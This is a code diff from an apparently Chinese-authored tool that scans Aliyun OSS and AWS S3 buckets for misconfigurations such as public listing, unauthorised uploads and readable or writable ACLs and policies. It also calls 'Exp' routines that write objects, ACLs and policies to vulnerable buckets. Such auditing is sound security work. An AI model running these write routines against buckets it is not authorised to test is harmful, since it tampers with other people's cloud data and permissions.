aliyunOss_Exploit_init.Aliyun_Oss_PutObject_Exp()
aliyunOss_Exploit_init.Aliyun_Oss_PutBucketPolicy_Exp()
aliyunOss_Exploit_init.Aliyun_Oss_GetBucketPolicy_Exp()
aliyunOss_Exploit_init.Aliyun_Oss_PutBucketAcl_Exp()
aliyun_scan_results.update({"BucketDoesBucketExist": "true"})
else:
aliyun_scan_results.update({"BucketDoesBucketExist": "false"})
if aliyunOss_Check_init.Aliyun_Oss_GetBucketObject_List():
logger.log("INFOR", f"{target}> 存储桶对象可遍历")
aliyun_scan_results.update({"GetBucketObject": "true"})
else:
logger.log("ALERT", f"{target}> 存储桶对象不可遍历")
aliyun_scan_results.update({"GetBucketObject": "false"})
if aliyunOss_Check_init.Aliyun_Oss_PutBucketObject():
logger.log("INFOR", f"{target}> 可未授权上传对象至存储桶(可导致覆盖已有对象)")
aliyun_scan_results.update({"PutBucketObject": "true"})
else:
logger.log("ALERT", f"{target}> 不可未授权上传对象至存储桶")
aliyun_scan_results.update({"PutBucketObject": "false"})
if aliyunOss_Check_init.Aliyun_Oss_GetBucketAcl():
logger.log("INFOR", f"{target}> 可公开访问存储桶ACL策略")
aliyun_scan_results.update({"GetBucketAcl": "true"})
else:
logger.log("ALERT", f"{target}> 不可公开访问存储桶ACL策略")
aliyun_scan_results.update({"GetBucketAcl": "false"})
if aliyunOss_Check_init.Aliyun_Oss_PutBucketAcl():
logger.log("INFOR", f"{target}> 可上传覆盖存储桶ACL策略")
aliyun_scan_results.update({"PutBucketAcl": "true"})
else:
logger.log("ALERT", f"{target}> 不可上传覆盖存储桶ACL策略")
aliyun_scan_results.update({"PutBucketAcl": "false"})
results_policy = aliyunOss_Check_init.Aliyun_Oss_GetBucketPolicy()
if results_policy:
logger.log("INFOR", f"{target}> 可公开获取存储桶Policy策略组")
logger.log("INFOR", f"{target}Policy> {results_policy}")
aliyun_scan_results.update({"GetBucketPolicy": "true"})
else:
logger.log("ALERT", f"{target}> 不可公开获取存储桶Policy策略")
aliyun_scan_results.update({"GetBucketPolicy": "false"})
aliyun_print_table_header.add_row([target,
aliyun_scan_results['BucketDoesBucketExist'],
aliyun_scan_results['GetBucketObject'],
aliyun_scan_results['PutBucketObject'],
aliyun_scan_results['GetBucketAcl'],
aliyun_scan_results['PutBucketAcl'],
aliyun_scan_results['GetBucketPolicy']])
aliyun_save_file(target,
aliyun_scan_results['BucketDoesBucketExist'],
aliyun_scan_results['GetBucketObject'],
aliyun_scan_results['PutBucketObject'],
aliyun_scan_results['GetBucketAcl'],
aliyun_scan_results['PutBucketAcl'],
aliyun_scan_results['GetBucketPolicy'])
print(aliyun_print_table_header, "\n")
else:
aliyun(get_domain)
def AmazoneS3(target):
"""
:desc: aws bucket scan
:param target: bucket url
:return:
"""
get_domain = urllib.parse.urlparse(target).netloc
if get_domain == "":
logger.log("INFOR", f"开始扫描> {target}")
get_target_list = target.split(".")
aws_check_init = aws.Amazone_Cloud_S3Bucket_Check(target=get_target_list[0],
location=get_target_list[1])
if aws_check_init.Check_Bucket_ListObject():
logger.log("INFOR", f"{target}> 存储桶对象可遍历")
else:
logger.log("ALERT", f"{target}> 存储桶对象不可遍历")
if aws_check_init.Check_Bucket_PutObject():
logger.log("INFOR", f"{target}> 可未授权上传对象至存储桶(可覆盖存储桶已有对象)")
else:
logger.log("ALERT", f"{target}> 不可未授权上传对象至存储桶(可覆盖存储桶已有对象)")
if aws_check_init.Check_Bucket_GetBucketAcl():
logger.log("INFOR", f"{target}> 存储桶ACL策略可公开获取")
else:
logger.log("ALERT", f"{target}> 存储桶ACL策略不可公开")
else:
AmazoneS3(get_domain)

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 206 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 184 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 631 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 87 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.3 MiB

View File

152
main.py
View File

@ -1,142 +1,30 @@
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''
@Project UzJuSecurityTools
@File main.py
@Author UzJu
@Date 2022/2/22 18:19
@Email UzJuer@163.com
'''
import logging
import sys
#!/usr/bin/python3.8.4 (python版本)
# -*- coding: utf-8 -*-
# @Author : UzJu@菜菜狗
# @Email : UzJuer@163.com
# @Software: PyCharm
# @Time : 2022/7/2 14:16
# @File : main.py
import colorlog
import datetime
from config import BannerInfo
import requests
import argparse
from core import aliyunOss
from core import DnsResolution
from core import AmazoneCloudS3Bucket
NowTime = datetime.datetime.now().strftime('%Y-%m-%d')
logger = logging.getLogger("mainModule")
log_colors_config = {
'DEBUG': 'white', # cyan white
'INFO': 'green',
'WARNING': 'yellow',
'ERROR': 'red',
'CRITICAL': 'bold_red',
}
# 输出到控制台
console_handler = logging.StreamHandler()
# 输出到文件
file_handler = logging.FileHandler(filename=f'./logs/{NowTime}.log', mode='a', encoding='utf8')
# 日志级别logger 和 handler以最高级别为准不同handler之间可以不一样不相互影响
logger.setLevel(logging.DEBUG)
console_handler.setLevel(logging.DEBUG)
file_handler.setLevel(logging.INFO)
# 日志输出格式
file_formatter = logging.Formatter(
fmt='[%(asctime)s.%(msecs)03d] %(filename)s -> %(funcName)s line:%(lineno)d [%(levelname)s] : %(message)s',
datefmt='%Y-%m-%d %H:%M:%S'
)
console_formatter = colorlog.ColoredFormatter(
fmt='%(log_color)s[%(asctime)s.%(msecs)03d] %(filename)s -> %(funcName)s line:%(lineno)d [%(levelname)s] : %(message)s',
datefmt='%Y-%m-%d %H:%M:%S',
log_colors=log_colors_config
)
console_handler.setFormatter(console_formatter)
file_handler.setFormatter(file_formatter)
# 重复日志问题:
# 1、防止多次addHandler
# 2、loggername 保证每次添加的时候不一样;
# 3、显示完log之后调用removeHandler
if not logger.handlers:
logger.addHandler(console_handler)
logger.addHandler(file_handler)
def initialize(target):
"""
UserDisable
错误消息UserDisable
问题原因账号欠费或者由于安全原因账号被禁用
解决方案请检查账号是否已欠费或联系技术支持进行安全受限核查
"""
try:
resp = requests.get(f"http://{target}")
print("Target>>>> ", target)
print("resp.info>>>> ", resp.text)
if 'html' in resp.text or 'UserDisable' in resp.text:
return False
else:
return True
except requests.exceptions.ConnectionError as e:
logger.error(f"Target: {target}ConnectionError Except INFO: {e}")
return False
from core import main
from config.logs import logger
from config import conf
if __name__ == '__main__':
BannerInfo.echoRandomBannerInfo()
print(conf.banner)
try:
parser = argparse.ArgumentParser()
parser.add_argument('-aliyun', dest='aliyun', help='python3 -aliyun UzJu.oss-cn-beijing.aliyuncs.com')
parser.add_argument('-aws', dest='aws', help='python3 -aws UzJu.oss-cn-beijing.aliyuncs.com')
parser.add_argument('-f', '--file', dest='file', nargs='+', help='python3 -f/--file url.txt')
parser.add_argument('-aliyun', dest='aliyun', help='python3 main.py -aliyun Bucketurl')
parser.add_argument('-faliyun', dest='faliyun', help='python3 main.py -faliyun filename')
parser.add_argument('-aws', dest='aws', help='python3 main.py -aws bucketurl')
args = parser.parse_args()
'''
阿里云OSS模块
'''
if args.aliyun:
existDomain = DnsResolution.GetDomainDnsResolution(args.aliyun)
if existDomain:
aliyunOss.CheckBucket(existDomain.split(".")[0], existDomain.split(".")[1])
else:
getTargetBucket = args.aliyun.split(".")
aliyunOss.CheckBucket(getTargetBucket[0], getTargetBucket[1])
'''
aws S3模块
'''
if args.aws:
'''
这里本来是这样写的
bucketDomain = args.aws.split(".")
但是在Fofa中找资产测试发现一个问题如果这样写举个例子
xxx.xxx.cdn.s3.amazonaws.com
这种存储桶地址就会取出来
['xxx', 'xxx', 'cdn', 's3', 'amazonaws', 'com']
一般情况下都能正常取下标来判断xxx就是存储桶名字但是这里不一样这里xxx.xxx.cdn都是存储桶的名字这样取就会存在问题
bucketDomain = args.aws.split(".s3")
这种写法能解决上述的问题为什么
我们简单分析一下存储桶的地址构造
xxx.xxx.xxcdn.s3.amazonaws.com
xxx.xxx.xxcdn.s3.us-east-1.amazonaws.com
无非就是存储桶名+s3+地区+云厂商的域名 或者 存储桶名+s3+云厂商域名这里可以用来分割的字段.s3再适合不过了
'''
bucketDomain = args.aws.split(".s3")
AmazoneCloudS3Bucket.CheckBucket(bucketDomain[0], args.aws)
if args.file:
with open(args.file[1], 'r') as f:
for i in f.read().splitlines():
main.aliyun(args.aliyun)
elif args.faliyun:
main.aliyun_file_scan(args.faliyun)
elif args.aws:
main.AmazoneS3(args.aws)
if args.file[0] == "aliyun":
existDomain = DnsResolution.GetDomainDnsResolution(i)
if existDomain:
aliyunOss.CheckBucket(existDomain.split(".")[0], existDomain.split(".")[1])
else:
getTargetBucket = i.split(".")
aliyunOss.CheckBucket(getTargetBucket[0], getTargetBucket[1])
elif args.file[0] == "aws":
bucketDomain = i.split(".s3")
AmazoneCloudS3Bucket.CheckBucket(bucketDomain[0], i)
except KeyboardInterrupt:
logger.error("KeyError Out")
logger.log("ALERT", "Bye~")

View File

@ -1,24 +1,21 @@
#!/usr/bin/python
#!/usr/bin/python3.8.4 (python版本)
# -*- coding: utf-8 -*-
# @Author : UzJu@菜菜狗
# @Email : UzJuer@163.com
# @Software: PyCharm
# @Time : 2022/3/7 上午11:38
# @File : DnsResolution.py
# @Time : 2022/7/2 19:59
# @File : DomainCname.py
import dns.resolver
import logging
module_logger = logging.getLogger("mainModule.Dns")
from config.logs import logger
def GetDomainDnsResolution(domain):
def Get_Domain_Cname(domain):
try:
cname = dns.resolver.resolve(domain, 'CNAME')
for i in cname.response.answer:
for j in i.items:
return j.to_text()
except Exception as e:
return False
logger.log("ERROR", repr(e))
return False

30
plugins/results.py Normal file
View File

@ -0,0 +1,30 @@
#!/usr/bin/python3.8.4 (python版本)
# -*- coding: utf-8 -*-
# @Author : UzJu@菜菜狗
# @Email : UzJuer@163.com
# @Software: PyCharm
# @Time : 2022/7/3 13:31
# @File : results.py
import os
import csv
import pandas as pd
from config.conf import NowTime
def aliyun_save_file(target, BucketHijack, GetBucketObjectList, PutBucketObject, GetBucketAcl, PutBucketAcl, GetBucketPolicy):
headers = ['Bucket', 'BucketHijack', 'GetBucketObjectList', 'PutBucketObject', 'GetBucketAcl', 'PutBucketAcl', 'GetBucketPolicy']
filepath = f'{os.getcwd()}/results/{NowTime}.csv'
rows = [
[f"{target}", BucketHijack, GetBucketObjectList, PutBucketObject, GetBucketAcl, PutBucketAcl, GetBucketPolicy]
]
if not os.path.isfile(filepath):
with open(filepath, 'a+', newline='') as f:
f = csv.writer(f)
f.writerow(headers)
f.writerows(rows)
else:
with open(filepath, 'a+', newline='') as f:
f_csv = csv.writer(f)
f_csv.writerows(rows)

7
requirements.txt Normal file
View File

@ -0,0 +1,7 @@
boto3==1.23.9
colorama==0.4.4
dnspython==2.2.1
loguru==0.5.3
oss2==2.15.0
pandas==1.4.3
prettytable==3.2.0